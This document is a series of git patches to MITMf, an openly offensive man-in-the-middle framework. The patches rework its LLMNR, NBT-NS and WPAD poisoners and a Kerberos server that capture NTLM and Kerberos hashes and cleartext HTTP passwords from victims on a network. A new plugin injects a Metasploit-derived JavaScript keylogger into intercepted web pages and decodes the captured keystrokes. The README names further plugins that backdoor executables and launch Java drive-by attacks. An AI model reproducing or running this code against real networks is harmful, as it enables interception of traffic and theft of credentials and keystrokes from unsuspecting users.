README.md | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index be59559..126f226 100644 --- a/README.md +++ b/README.md @@ -9,26 +9,6 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox **Before submitting issues please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** -(Another) Dependency change! -============================ -As of v0.9.6, the fork of the ```python-netfilterqueue``` library is no longer required. - -How to install on Kali -====================== - -```apt-get install mitmf``` - -**Currently Kali has a very old version of MITMf in it's repos so if you find bugs its normal, don't open an issue! Read the [Installation](#installation) section to get the latest version** - -Installation -============ -If MITMf is not in your distros repo or you just want the latest version: -- clone this repository -- run the ```setup.sh``` script -- run the command ```pip install -r requirements.txt``` to install all python dependencies - -On Kali Linux, if you get an error while installing the pypcap package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. - Availible plugins ================= - Responder - LLMNR, NBT-NS and MDNS poisoner @@ -76,6 +56,22 @@ Changelog - Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +Installation +============ +If MITMf is not in your distros repo or you just want the latest version: +- clone this repository +- run the ```setup.sh``` script +- run the command ```pip install -r requirements.txt``` to install all python dependencies + +On Kali Linux, if you get an error while installing the pypcap package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. + +How to install on Kali +====================== + +```apt-get install mitmf``` + +**Currently Kali has a very old version of MITMf in it's repos so if you find bugs its normal, don't open an issue! Read the [Installation](#installation) section to get the latest version** + Submitting Issues ================= If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com From 6b421d1cac74cf06eff7577ad37d8cb70d7fcdef Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Apr 2015 13:10:36 +0200 Subject: [PATCH 020/181] typo --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 126f226..73ca447 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ Availible plugins - SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile - BrowserProfiler - Attempts to enumerate all browser plugins of connected clients - CacheKill - Kills page caching by modifying headers -- FilePwn - Backdoor executables being sent over http using bdfactory +- FilePwn - Backdoor executables being sent over http using Backdoor Factory and BDFProxy - Inject - Inject arbitrary content into HTML content - JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins - jskeylogger - Injects a javascript keylogger into clients webpages From aa4e022ab0ec9a122dfc505c2e2388cda26963dd Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 30 Apr 2015 00:10:55 +0200 Subject: [PATCH 021/181] Kerberos sever back online, squashed some bugs --- .../fingerprinter/LANFingerprinter.py | 16 +++- .../kerberos/KERBServer.py | 90 +++++++++---------- .../kerberos/__init__.py | 0 core/responder/nbtns/NBTNSPoisoner.py | 4 +- core/responder/wpad/WPADPoisoner.py | 48 +++++----- mitmf.py | 1 + plugins/Responder.py | 11 ++- 7 files changed, 93 insertions(+), 77 deletions(-) rename core/{protocols => responder}/kerberos/KERBServer.py (75%) rename core/{protocols => responder}/kerberos/__init__.py (100%) diff --git a/core/responder/fingerprinter/LANFingerprinter.py b/core/responder/fingerprinter/LANFingerprinter.py index a1186f8..aa0c9e1 100644 --- a/core/responder/fingerprinter/LANFingerprinter.py +++ b/core/responder/fingerprinter/LANFingerprinter.py @@ -3,9 +3,9 @@ import socket import threading import struct import logging +import string from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.configwatcher import ConfigWatcher from core.responder.fingerprinter.RAPLANMANPackets import * mitmf_logger = logging.getLogger("mitmf") @@ -60,6 +60,20 @@ def NBT_NS_Role(data): else: return "Service not known." +def Decode_Name(nbname): + #From http://code.google.com/p/dpkt/ with author's permission. + try: + if len(nbname) != 32: + return nbname + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | + ((ord(nbname[i+1]) - 0x41) & 0xf))) + return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + except Exception, e: + mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e)) + return "Illegal NetBIOS name" + def WorkstationFingerPrint(data): Role = { "\x04\x00" :"Windows 95", diff --git a/core/protocols/kerberos/KERBServer.py b/core/responder/kerberos/KERBServer.py similarity index 75% rename from core/protocols/kerberos/KERBServer.py rename to core/responder/kerberos/KERBServer.py index 40b509f..7b6e6cf 100644 --- a/core/protocols/kerberos/KERBServer.py +++ b/core/responder/kerberos/KERBServer.py @@ -1,35 +1,37 @@ -################################################################################## -#Kerberos Server stuff starts here -################################################################################## + +import socket +import threading +import struct +import logging + +from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler + +mitmf_logger = logging.getLogger("mitmf") class KERBServer(): - def serve_thread_udp(host, port, handler): + def serve_thread_udp(self, host, port, handler): try: server = ThreadingUDPServer((host, port), handler) server.serve_forever() except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) + mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e)) - def serve_thread_tcp(host, port, handler): + def serve_thread_tcp(self, host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) + mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e)) #Function name self-explanatory - def start(Krb_On_Off): - if Krb_On_Off == "ON": - t1 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) - t2 = threading.Thread(name="KerbTCP", target=serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) - for t in [t1,t2]: - t.setDaemon(True) - t.start() - - return t1, t2 - if Krb_On_Off == "OFF": - return False + def start(self): + mitmf_logger.debug("[KERBServer] online") + t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) + t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) + for t in [t1,t2]: + t.setDaemon(True) + t.start() class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -45,6 +47,28 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): def server_bind(self): TCPServer.server_bind(self) +class KerbTCP(BaseRequestHandler): + + def handle(self): + try: + data = self.request.recv(1024) + KerbHash = ParseMSKerbv5TCP(data) + if KerbHash: + mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash)) + except Exception: + raise + +class KerbUDP(BaseRequestHandler): + + def handle(self): + try: + data, soc = self.request + KerbHash = ParseMSKerbv5UDP(data) + if KerbHash: + mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash)) + except Exception: + raise + def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] @@ -131,33 +155,3 @@ def ParseMSKerbv5UDP(Data): return BuildHash else: return False - -class KerbTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - KerbHash = ParseMSKerbv5TCP(data) - if KerbHash: - Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt" - WriteData(Outfile,KerbHash, KerbHash) - responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) - except Exception: - raise - -class KerbUDP(BaseRequestHandler): - - def handle(self): - try: - data, soc = self.request - KerbHash = ParseMSKerbv5UDP(data) - if KerbHash: - Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt" - WriteData(Outfile,KerbHash, KerbHash) - responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) - except Exception: - raise - -################################################################################## -#Kerberos Server stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/protocols/kerberos/__init__.py b/core/responder/kerberos/__init__.py similarity index 100% rename from core/protocols/kerberos/__init__.py rename to core/responder/kerberos/__init__.py diff --git a/core/responder/nbtns/NBTNSPoisoner.py b/core/responder/nbtns/NBTNSPoisoner.py index f67160f..4563c52 100644 --- a/core/responder/nbtns/NBTNSPoisoner.py +++ b/core/responder/nbtns/NBTNSPoisoner.py @@ -4,6 +4,7 @@ import threading import socket import struct import logging +import string from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from core.configwatcher import ConfigWatcher @@ -105,7 +106,8 @@ def Decode_Name(nbname): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except: + except Exception, e: + mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e)) return "Illegal NetBIOS name" # NBT_NS Server class. diff --git a/core/responder/wpad/WPADPoisoner.py b/core/responder/wpad/WPADPoisoner.py index a1bd1ef..7aa23f6 100644 --- a/core/responder/wpad/WPADPoisoner.py +++ b/core/responder/wpad/WPADPoisoner.py @@ -2,15 +2,17 @@ import socket import threading import logging -from HTTPPackets import * from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from HTTPPackets import * mitmf_logger = logging.getLogger("mitmf") class WPADPoisoner(): - def start(on_off): + def start(self): try: + mitmf_logger.debug("[WPADPoisoner] online") server = ThreadingTCPServer(("0.0.0.0", 80), HTTP) t = threading.Thread(name="HTTP", target=server.serve_forever) t.setDaemon(True) @@ -25,6 +27,27 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): def server_bind(self): TCPServer.server_bind(self) +#HTTP Server Class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + buff = WpadCustom(data,self.client_address[0]) + if buff and WpadForcedAuth(Force_WPAD_Auth) == False: + Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) + if Verbose: + print Message + mitmf_logger.info(Message) + self.request.send(buff) + else: + buffer0 = PacketSequence(data,self.client_address[0]) + self.request.send(buffer0) + except Exception: + pass#No need to be verbose.. + #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' Date: Mon, 4 May 2015 23:13:21 +0200 Subject: [PATCH 022/181] WPAD Poisoner back online, removed options in config file and rellative code for choosing which DNS server to use. (there really was not point in keeping it) the --basic and --force options and the EXE serving in the Responder plugin have been removed, until I can find a better way of implementing them. Modified and re-added the JS-keylogger and SMBauth plugins --- config/mitmf.conf | 19 +--- core/configwatcher.py | 3 +- core/protocols/smb/SMBserver.py | 51 ++++++++- core/responder/wpad/WPADPoisoner.py | 119 +++----------------- core/sergioproxy/ProxyPlugins.py | 3 + core/sslstrip/ClientRequest.py | 21 ++-- core/sslstrip/ServerConnection.py | 7 +- core/sslstrip/URLMonitor.py | 4 - mitmf.py | 12 +- plugins/Inject.py | 8 +- plugins/JsKeylogger.py | 167 ++++++++++++++++++++++++++++ plugins/Responder.py | 21 ++-- plugins/SMBAuth.py | 42 +++++++ 13 files changed, 312 insertions(+), 165 deletions(-) create mode 100644 plugins/JsKeylogger.py create mode 100644 plugins/SMBAuth.py diff --git a/config/mitmf.conf b/config/mitmf.conf index 614ac72..04bd575 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -28,7 +28,6 @@ #Here you can configure MITMf's internal DNS server # - resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended) tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) port = 53 #Port to listen on ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) @@ -119,22 +118,8 @@ #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = - [[HTTP Server]] - - #Set this to On if you want to always serve a specific file to the victim. - Serve-Always = Off - - #Set this to On if you want to serve an executable file each time a .exe is detected in an URL. - Serve-Exe = Off - - #Uncomment and specify a custom file to serve, the file must exist. - Filename = config/responder/Denied.html - - #Specify a custom executable file to serve, the file must exist. - ExecFilename = config/responder/FixInternet.exe - - #Set your custom PAC script - WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' + #Set your custom PAC script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' [[HTTPS Server]] diff --git a/core/configwatcher.py b/core/configwatcher.py index e6eaaaf..c583ff4 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -44,5 +44,6 @@ class ConfigWatcher(FileSystemEventHandler): def reloadConfig(self): try: self.config = ConfigObj("./config/mitmf.conf") - except Exception, e: + except Exception as e: mitmf_logger.warning("Error reloading config file: {}".format(e)) + pass diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 7922382..57c5cb3 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -1,12 +1,12 @@ import logging -import threading import sys +import threading from impacket import smbserver, LOG LOG.setLevel(logging.INFO) LOG.propagate = False -#logging.getLogger('smbserver').setLevel(logging.INFO) -#logging.getLogger('impacket').setLevel(logging.INFO) +logging.getLogger('smbserver').setLevel(logging.INFO) +logging.getLogger('impacket').setLevel(logging.INFO) formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") fileHandler = logging.FileHandler("./logs/mitmf.log") @@ -25,4 +25,47 @@ class SMBserver: def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) t.setDaemon(True) - t.start() \ No newline at end of file + t.start() + +""" +class SMBserver(Thread): + def __init__(self): + Thread.__init__(self) + + def run(self): + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file', 'None') + smbConfig.set('global','credentials_file','') + + # Let's add a dummy share + #smbConfig.add_section(DUMMY_SHARE) + #smbConfig.set(DUMMY_SHARE,'comment','') + #smbConfig.set(DUMMY_SHARE,'read only','no') + #smbConfig.set(DUMMY_SHARE,'share type','0') + #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path') + + self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + + self.smb.processConfigFile() + try: + self.smb.serve_forever() + except: + pass + + def stop(self): + self.smb.socket.close() + self.smb.server_close() + self._Thread__stop() +""" \ No newline at end of file diff --git a/core/responder/wpad/WPADPoisoner.py b/core/responder/wpad/WPADPoisoner.py index 7aa23f6..c978338 100644 --- a/core/responder/wpad/WPADPoisoner.py +++ b/core/responder/wpad/WPADPoisoner.py @@ -1,16 +1,23 @@ import socket import threading import logging +import re from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from core.configwatcher import ConfigWatcher +from core.responder.common import * from HTTPPackets import * mitmf_logger = logging.getLogger("mitmf") class WPADPoisoner(): - def start(self): + def start(self, options): + + global args; args = options + args.forceWpadAuth = False + args.basic = False + try: mitmf_logger.debug("[WPADPoisoner] online") server = ThreadingTCPServer(("0.0.0.0", 80), HTTP) @@ -36,17 +43,14 @@ class HTTP(BaseRequestHandler): self.request.settimeout(1) data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - mitmf_logger.info(Message) + if buff and args.forceWpadAuth is False: + mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0])) self.request.send(buff) else: buffer0 = PacketSequence(data,self.client_address[0]) self.request.send(buffer0) - except Exception: - pass#No need to be verbose.. + except Exception as e: + pass #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): @@ -92,18 +96,8 @@ def ParseHTTPHash(data,client): mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName)) mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) -def GrabCookie(data,host): - Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) - if Cookie: - CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) - mitmf_logger.info(CookieStr) - return Cookie.group(0) - else: - NoCookies = "No cookies were sent with this request" - mitmf_logger.info(NoCookies) - return NoCookies - def WpadCustom(data,client): + WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript'] Wpad = re.search('(/wpad.dat|/*\.pac)', data) if Wpad: buffer1 = WPADScript(Payload=WPAD_Script) @@ -112,12 +106,6 @@ def WpadCustom(data,client): else: return False -def WpadForcedAuth(Force_WPAD_Auth): - if Force_WPAD_Auth == True: - return True - if Force_WPAD_Auth == False: - return False - # Function used to check if we answer with a Basic or NTLM auth. def Basic_Ntlm(Basic): if Basic == True: @@ -125,77 +113,14 @@ def Basic_Ntlm(Basic): else: return IIS_Auth_401_Ans() -def ServeEXE(data,client, Filename): - Message = "[+]Sent %s file sent to: %s."%(Filename,client) - mitmf_logger.info(Message) - with open (Filename, "rb") as bk: - data = bk.read() - bk.close() - return data - -def ServeEXEOrNot(on_off): - if Exe_On_Off == "ON": - return True - if Exe_On_Off == "OFF": - return False - -def ServeEXECAlwaysOrNot(on_off): - if Exec_Mode_On_Off == "ON": - return True - if Exec_Mode_On_Off == "OFF": - return False - -def IsExecutable(Filename): - exe = re.findall('.exe',Filename) - if exe: - return True - else: - return False - -def GrabURL(data, host): - GET = re.findall('(?<=GET )[^HTTP]*', data) - POST = re.findall('(?<=POST )[^HTTP]*', data) - POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) - if GET: - HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET)) - mitmf_logger.info(HostStr) - #print HostStr - - if POST: - Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) - mitmf_logger.info(Host3Str) - #print Host3Str - if len(''.join(POSTDATA)) >2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - #print PostData - mitmf_logger.info(PostData) - #Handle HTTP packet sequence. def PacketSequence(data,client): Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) - if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) - - if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) - if Ntlm: packetNtlm = b64decode(''.join(Ntlm))[8:9] if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_NTLM_Challenge_Ans() @@ -205,11 +130,8 @@ def PacketSequence(data,client): if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - mitmf_logger.info(Message) + if args.forceWpadAuth and WpadCustom(data,client): + mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client)) buffer1 = WpadCustom(data,client) return buffer1 else: @@ -218,16 +140,11 @@ def PacketSequence(data,client): return str(buffer1) if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt" WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - mitmf_logger.info(Message) + if args.forceWpadAuth and WpadCustom(data,client): + mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client)) buffer1 = WpadCustom(data,client) return buffer1 else: @@ -236,5 +153,5 @@ def PacketSequence(data,client): return str(buffer1) else: - return str(Basic_Ntlm(Basic)) + return str(Basic_Ntlm(args.basic)) \ No newline at end of file diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index dea21f4..c58cc8d 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -17,8 +17,11 @@ # import sys +import logging import inspect +mitmf_logger = logging.getLogger("mitmf") + class ProxyPlugins: ''' This class does some magic so that all we need to do in diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 721438b..df60e20 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -192,21 +192,14 @@ class ClientRequest(Request): else: mitmf_logger.debug("[ClientRequest] Host not cached.") - - if self.urlMonitor.getResolver() == 'dnschef': + self.customResolver.port = self.urlMonitor.getResolverPort() - self.customResolver.port = self.urlMonitor.getResolverPort() - - try: - mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") - address = str(self.customResolver.query(host)[0].address) - return defer.succeed(address) - except Exception: - mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") - return reactor.resolve(host) - - elif self.urlMonitor.getResolver() == 'twisted': - mitmf_logger.debug("[ClientRequest] Resolving with Twisted") + try: + mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") + address = str(self.customResolver.query(host)[0].address) + return defer.succeed(address) + except Exception: + mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") return reactor.resolve(host) def process(self): diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 0a64cea..3c53eb6 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -71,7 +71,8 @@ class ServerConnection(HTTPClient): try: user_agent = parse(self.headers['user-agent']) self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) - except: + except Exception as e: + mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e)) self.clientInfo = "{} ".format(self.client.getClientIP()) mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) @@ -135,7 +136,7 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) + mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo)) elif (key.lower() == 'content-length'): self.contentLength = value @@ -181,7 +182,7 @@ class ServerConnection(HTTPClient): mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) - res = self.plugins.hook() + res = self.plugins.hook() data = res['data'] if (self.contentLength != None): diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 9ef7b78..f306db7 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -53,10 +53,6 @@ class URLMonitor: return URLMonitor._instance - #This is here because I'm lazy - def getResolver(self): - return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower() - #This is here because I'm lazy def getResolverPort(self): return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) diff --git a/mitmf.py b/mitmf.py index d4dd7d4..349b76b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -23,7 +23,6 @@ import sys import os import logging import threading -import user_agents from twisted.web import http from twisted.internet import reactor @@ -69,7 +68,7 @@ plugins = [] try: for p in plugin_classes: plugins.append(p()) -except Exception, e: +except Exception as e: print "[-] Failed to load plugin class {}: {}".format(p, e) #Give subgroup to each plugin with options @@ -148,7 +147,7 @@ strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) for p in load: - + p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() @@ -165,12 +164,15 @@ from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) print "|_ Net-Creds v{} online".format(netcreds_version) -#Start all servers! +#Start DNSChef from core.dnschef.DNSchef import DNSChef DNSChef.getInstance().start() -print "|_ DNSChef v{} online\n".format(dnschef_version) +print "|_ DNSChef v{} online".format(dnschef_version) +#start the SMB server from core.protocols.smb.SMBserver import SMBserver +from impacket import version +print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR) SMBserver().start() #start the reactor diff --git a/plugins/Inject.py b/plugins/Inject.py index a28375b..ccad52d 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -87,14 +87,13 @@ class Inject(CacheKill, Plugin): self.dtable[ip+hn] = True self.count += 1 mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn)) - return {'request': request, 'data': data} - else: - return + + return {'request': request, 'data': data} def _get_payload(self): return self._get_js() + self._get_iframe() + self.html_payload - def add_options(self,options): + def add_options(self, options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") @@ -136,7 +135,6 @@ class Inject(CacheKill, Plugin): if self.per_domain: return not ip+hn in self.dtable - #print mime return mime.find(self.mime) != -1 def _get_req_info(self, request): diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py new file mode 100644 index 0000000..c84655b --- /dev/null +++ b/plugins/JsKeylogger.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from plugins.Inject import Inject +import logging + +class jskeylogger(Inject, Plugin): + name = "Javascript Keylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] + depends = ["Inject"] + version = "0.2" + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.msf_keylogger() + + def sendPostData(self, request): + #Handle the plugin output + if 'keylog' in request.uri: + + raw_keys = request.postData.split("&&")[0] + keys = raw_keys.split(",") + del keys[0]; del(keys[len(keys)-1]) + + input_field = request.postData.split("&&")[1] + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice.replace(nice[-1:], "") + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n)) + + #try: + # input_field = input_field.decode('hex') + #except: + # mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field)) + + mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice)) + + def msf_keylogger(self): + #Stolen from the Metasploit module http_javascript_keylogger + + payload = """""" + + return payload \ No newline at end of file diff --git a/plugins/Responder.py b/plugins/Responder.py index fc5eab8..bea6141 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -18,13 +18,12 @@ # USA # -import sys -import os import threading from plugins.plugin import Plugin from twisted.internet import reactor from core.utils import SystemConfig + from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner @@ -57,9 +56,9 @@ class Responder(Plugin): KERBServer().start() NBTNSPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip) - + if options.wpad: - WPADPoisoner().start() + WPADPoisoner().start(options) if options.analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") @@ -69,10 +68,10 @@ class Responder(Plugin): def add_options(self, options): options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, 